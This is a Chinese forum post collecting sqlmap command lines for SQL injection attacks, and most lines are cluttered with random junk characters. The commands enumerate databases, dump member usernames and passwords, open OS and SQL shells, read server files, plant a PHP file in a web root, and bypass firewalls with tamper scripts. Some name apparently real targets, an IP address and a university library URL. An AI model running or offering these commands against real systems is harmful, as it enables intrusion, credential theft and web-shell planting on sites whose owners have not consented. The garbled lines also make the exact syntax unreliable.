找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1693|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/pentest/database/sqlmap5 G- T. _6 E, A* x; G

$ j3 u$ B! u2 N( \2 y5 C3 ~& supdate :::::>     in the folder   after  execute    following   order : svn update; ?( D7 O$ j# Z" l' t

8 @; @9 j3 c, m4 Esqlmap.py -r 1.txt --current-db9 D% n( E8 @& A  r; y  X2 @
" r6 \2 f9 p( F
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”3 [+ D7 c* Z( q
0 Z) J; L, d* h# y0 E  W' d
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
) D  ~: U' }% r& ~& W猜解数据库0 C6 J/ w2 d- H
./sqlmap.py -u "injection-url" --dbs, Z& [# I8 l3 I4 u
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
- |' L: V6 H/ E- c
5 Y) I; l9 K& q" p1 Y4 Z: s猜解表名' Z2 f& q( a5 o0 g) B
./sqlmap.py -u "injection-url" -D database_name --tables3 f/ l: m; q: p$ j+ p, ^

  M! X% r8 ~5 o- J# Q; Tsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"7 {: C; Q: W1 c
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
, ^4 G9 q1 u3 S
: U! C" E  w5 N$ I2 i, p6 Hsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump' r7 L( S; [8 g
) ?& K" P+ y9 M$ q5 Z* ?
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"' G) S1 y+ p, k" d& i
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
" \- M, A; `4 O3 A3 M! a6 k1 ?sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 9 _: t8 B/ @! l  [: f+ B! L
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
4 f! }' p4 }0 s" j; ?" y3 Y- A+ d4 f0 s4 Q; n
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
# M8 n+ Z' K! l0 asqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"9 |' v9 J3 D; |! h1 I) H
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
9 f, {5 ]  p: o6 G  |' m3 K: {sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"( C7 w, C1 n; I6 w# t; C  l7 [
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump  k, ], `' I  w

! X2 H: \' G! t8 J: [sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了! W" @- l3 t+ @0 i1 v. F3 z- L
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
7 s/ n. k; Y1 T& q0 h* ?# _) g+ l7 T7 Q
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
6 G4 e) G: y# x, ?猜解列名- k9 u, a) `- a) H8 g: ?
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
. E3 o: j4 K( E! M& K
2 n$ `; U% e& l) C" p! m. h9 E) [5 rsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 6 N$ ]$ E* R2 W* m! v% b0 w
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" , D& B& ~3 u. s* b
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"7 l: j* ?8 [* I6 l+ m
1 B$ x' v9 ~# B& d  b# K6 x$ |1 t
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
: D1 Q; G5 R/ l4 O2 {&submit=Go
! N( [7 J& a. _猜解值# R2 [8 ]. ]* N
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump! R: u, a% }' g; v0 y
========================================================
$ \! H+ I; V1 W7 X7 z& B搜索表名中包括mana字符的
1 E  ~6 R4 b' h/sqlmap.py -u "injection-url" -T mana --search/ v; U1 U& M0 Y' P! e9 B
返回一个交互式sql shell4 C3 V) f1 V" V% ~3 H( q: M
/sqlmap.py -u "injection-url" --sql-shell+ \5 C7 B4 S, j; b$ a3 z$ B2 I
读取指定文件(需权限)
$ K$ z+ o. y- R0 t/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"9 E9 b8 b6 p4 K. o; E
查看当前 用户 及 数据库
( ]8 S) i# c5 }/ r: D" O6 f' F  S/sqlmap.py -u "injection-url" --current-user --current-db
& W! R) ?6 L0 @% [本地文件 写入 远程目标绝对路径" q) D/ ?+ x7 B; `4 D5 z
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径. {2 O4 v% W( p1 }" k, s
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" ( D/ E# [7 v+ V3 C; D. b1 H
6 W; y" }$ e5 y% s2 y" W
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
, u* f* S  d" V/ t+ B' ?7 w+ |查看某用的权限
9 d* T- \* H& P& f/sqlmap.py -u "injection-url" --privileges -U root: D8 U- I# q1 l4 G$ t( d
查看当前用户是否为dba2 `) c" u, A% K- o+ E
/sqlmap.py -u "injection-url" --is-dba
4 ^; M; n2 M! ~' z读取所有数据库用户或指定数据库用户的密码  w/ _% _' e4 I# N% q+ V) \/ h
sqlmap.py -r 1.txt --users --passwords! y9 Z: t. B2 Q4 s( T+ P
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 7 B* `, ^8 Y8 |) F1 @9 v" U

  s* Y" \' Z* @  m/sqlmap.py -u "injection-url" --passwords -U root+ m' W* i3 o/ G3 ]
8 ^- O% U1 B* X$ S* z. w
--start&&--stop 与 --first&&--last 的区别/ ^$ l2 L6 f% V- @! N
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
6 E1 {; D) q; W+ S/ F
' z7 v# R$ [; N; R& c7 L从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
# v3 [$ \( H1 U; h( s/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables) `6 r0 L# J1 I3 a* V  |. Y
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
! P2 d. }& S# t  f3 x! u9 T- r$ {8 h+ Q& Y+ c4 R, t
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)( R" n/ y* W5 A
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"7 ]+ @" b8 y( o7 w% W: w9 ~# Q

! x9 Q7 M7 Y& B: Q" F" C$ I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表